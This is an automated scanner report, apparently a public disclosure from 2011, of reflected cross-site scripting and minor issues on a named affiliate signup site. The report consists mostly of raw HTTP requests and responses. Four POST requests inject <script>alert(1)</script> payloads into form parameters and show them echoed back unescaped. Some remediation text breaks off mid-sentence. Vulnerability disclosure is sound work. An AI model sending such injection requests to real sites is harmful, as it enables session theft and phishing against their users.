XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, signup form, microsoftaffiliates.com

Report generated by XSS.CX at Sun Nov 06 21:20:40 CST 2011.

Hoyt LLC Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

Loading



1. Cross-site scripting (reflected)

1.1. https://www.microsoftaffiliates.com/affiliate_signup.html [comments parameter]

1.2. https://www.microsoftaffiliates.com/affiliate_signup.html [country parameter]

1.3. https://www.microsoftaffiliates.com/affiliate_signup.html [language parameter]

1.4. https://www.microsoftaffiliates.com/affiliate_signup.html [site_description parameter]

2. Password field with autocomplete enabled

2.1. https://www.microsoftaffiliates.com/affiliate_signup.html

2.2. https://www.microsoftaffiliates.com/index.html

3. Cross-domain Referer leakage

3.1. https://www.microsoftaffiliates.com/affiliate_signup.html

3.2. https://www.microsoftaffiliates.com/index.html

4. Email addresses disclosed

4.1. https://www.microsoftaffiliates.com/affiliate_signup.html

4.2. https://www.microsoftaffiliates.com/index.html

5. Cacheable HTTPS response

5.1. https://www.microsoftaffiliates.com/affiliate_signup.html

5.2. https://www.microsoftaffiliates.com/index.html

6. HTML does not specify charset



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://www.microsoftaffiliates.com/affiliate_signup.html [comments parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The value of the comments request parameter is copied into the HTML document as plain text between tags. The payload dbde5<script>alert(1)</script>0dd27c24ce was submitted in the comments parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/affiliate_signup.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 357

super_add_code=&super_affiliate_id=-1&return_url=&language=Zune&first_name=&last_name=&address=&address2=&city=&select_state=0&other_not_state=&zip=&country=&phone=&fax=&company=&password=&email=&website1=http%3A%2F%2F&site_type=0&site_description=&traffic=&category_1=0&comments=dbde5<script>alert(1)</script>0dd27c24ce&submitted=Send+in+my+application&CLIENT_NAME=microsoftaffiliates&program_id=

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:12:11 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=995
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 44569

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<textarea name="comments" rows=5 cols=40>dbde5<script>alert(1)</script>0dd27c24ce</textarea>
...[SNIP]...

1.2. https://www.microsoftaffiliates.com/affiliate_signup.html [country parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The value of the country request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload a736d'><script>alert(1)</script>b2f7bf68615 was submitted in the country parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/affiliate_signup.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 357

super_add_code=&super_affiliate_id=-1&return_url=&language=Zune&first_name=&last_name=&address=&address2=&city=&select_state=0&other_not_state=&zip=&country=a736d'><script>alert(1)</script>b2f7bf68615&phone=&fax=&company=&password=&email=&website1=http%3A%2F%2F&site_type=0&site_description=&traffic=&category_1=0&comments=&submitted=Send+in+my+application&CLIENT_NAME=microsoftaffiliates&program_id=

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:11:20 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=968
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 44600

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<option value='a736d'><script>alert(1)</script>b2f7bf68615'>
...[SNIP]...

1.3. https://www.microsoftaffiliates.com/affiliate_signup.html [language parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The value of the language request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 49ec2'><script>alert(1)</script>e34a24c24b8 was submitted in the language parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/affiliate_signup.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 357

super_add_code=&super_affiliate_id=-1&return_url=&language=Zune49ec2'><script>alert(1)</script>e34a24c24b8&first_name=&last_name=&address=&address2=&city=&select_state=0&other_not_state=&zip=&country=&phone=&fax=&company=&password=&email=&website1=http%3A%2F%2F&site_type=0&site_description=&traffic=&categ
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:10:30 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=995
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 44634

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<input type='hidden' name='language' value='Zune49ec2'><script>alert(1)</script>e34a24c24b8'>
...[SNIP]...

1.4. https://www.microsoftaffiliates.com/affiliate_signup.html [site_description parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The value of the site_description request parameter is copied into the HTML document as plain text between tags. The payload 8b27a<script>alert(1)</script>973f9bcc5a7 was submitted in the site_description parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

POST /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/affiliate_signup.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 357

super_add_code=&super_affiliate_id=-1&return_url=&language=Zune&first_name=&last_name=&address=&address2=&city=&select_state=0&other_not_state=&zip=&country=&phone=&fax=&company=&password=&email=&website1=http%3A%2F%2F&site_type=0&site_description=8b27a<script>alert(1)</script>973f9bcc5a7&traffic=&category_1=0&comments=&submitted=Send+in+my+application&CLIENT_NAME=microsoftaffiliates&program_id=

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:12:00 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=933
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 44563

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<textarea name="site_description" rows=5 cols="40">8b27a<script>alert(1)</script>973f9bcc5a7</textarea>
...[SNIP]...

2. Password field with autocomplete enabled  previous  next
There are 2 instances of this issue:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).


2.1. https://www.microsoftaffiliates.com/affiliate_signup.html  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

GET /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:41 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 43250

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<center>
<form method="post" id='affiliate_signup' onsubmit="return validate_form();">
<input type="hidden" name="super_add_code" value="">
...[SNIP]...
<td valign=top><input type="password" name="password" value="" size="20">
                   <font size=1 face="arial">
...[SNIP]...

2.2. https://www.microsoftaffiliates.com/index.html  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /index.html

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Request

POST /index.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

DL_AUTH_USERNAME=xs&DL_AUTH_PASSWORD=xss&next=%2F&x=5&y=7&=GO

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:33 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17890

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<DIV id=login>
<FORM style="MARGIN: 0px; DISPLAY: inline" method=post action=https://www.microsoftaffiliates.com/index.html?content=Zune>
<DIV id=login-email>
...[SNIP]...
<DIV id=login-password>&nbsp; &nbsp;PASSWORD: &nbsp;&nbsp;<INPUT class=login-form type=password name=DL_AUTH_PASSWORD><INPUT value=/ type=hidden name=next>
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. https://www.microsoftaffiliates.com/affiliate_signup.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:41 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 43250

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
</title>
<link rel="shortcut icon" href="https://microsoftaffiliates.directtrack.com/42/147/0/" type="image/x-icon">
<style type="text/css">
...[SNIP]...

3.2. https://www.microsoftaffiliates.com/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /index.html

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

POST /index.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

DL_AUTH_USERNAME=xs&DL_AUTH_PASSWORD=xss&next=%2F&x=5&y=7&=GO

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:33 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17890

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
</script>

<LINK rel="shortcut icon" type=image/x-icon href="https://microsoftaffiliates.directtrack.com/42/147/0/">
<STYLE type=text/css>
...[SNIP]...

4. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


4.1. https://www.microsoftaffiliates.com/affiliate_signup.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Issue detail

The following email address was disclosed in the response:

Request

GET /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:41 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 43250

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<a href="mailto:affiliat@microsoft.com">
...[SNIP]...

4.2. https://www.microsoftaffiliates.com/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /index.html

Issue detail

The following email address was disclosed in the response:

Request

POST /index.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

DL_AUTH_USERNAME=xs&DL_AUTH_PASSWORD=xss&next=%2F&x=5&y=7&=GO

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:33 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17890

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...
<A href="mailto:affiliat@microsoft.com">
...[SNIP]...

5. Cacheable HTTPS response  previous  next
There are 2 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


5.1. https://www.microsoftaffiliates.com/affiliate_signup.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /affiliate_signup.html

Request

GET /affiliate_signup.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:41 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb121
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 43250

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...

5.2. https://www.microsoftaffiliates.com/index.html  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /index.html

Request

POST /index.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

DL_AUTH_USERNAME=xs&DL_AUTH_PASSWORD=xss&next=%2F&x=5&y=7&=GO

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:33 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17890

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...

6. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.microsoftaffiliates.com
Path:   /index.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

POST /index.html?content=Zune HTTP/1.1
Host: www.microsoftaffiliates.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.microsoftaffiliates.com/index.html?content=Zune
Cookie: PHPSESSID=0e210f4bf1436614b7b798aa01020c2c
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

DL_AUTH_USERNAME=xs&DL_AUTH_PASSWORD=xss&next=%2F&x=5&y=7&=GO

Response

HTTP/1.1 200 OK
Date: Sun, 06 Nov 2011 20:09:33 GMT
Server: Apache/2.2.16 (Unix)
Vary: Host
P3P: policyref="/w3c/p3p.xml", CP="NOR NOI DSP COR ADM OUR PHY"
X-Server-Name: www@dc1dtweb46
Keep-Alive: timeout=3, max=1000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 17890

<html>
<script language="JavaScript">
<!--
function medopen() {
   coolopenWindow=window.open("/flash/mediakit.html","medopen","scrollbars=0,menubar=0,statusbar=0,toolbar=0,height=560,width=362,oute
...[SNIP]...

Report generated by XSS.CX at Sun Nov 06 21:20:40 CST 2011.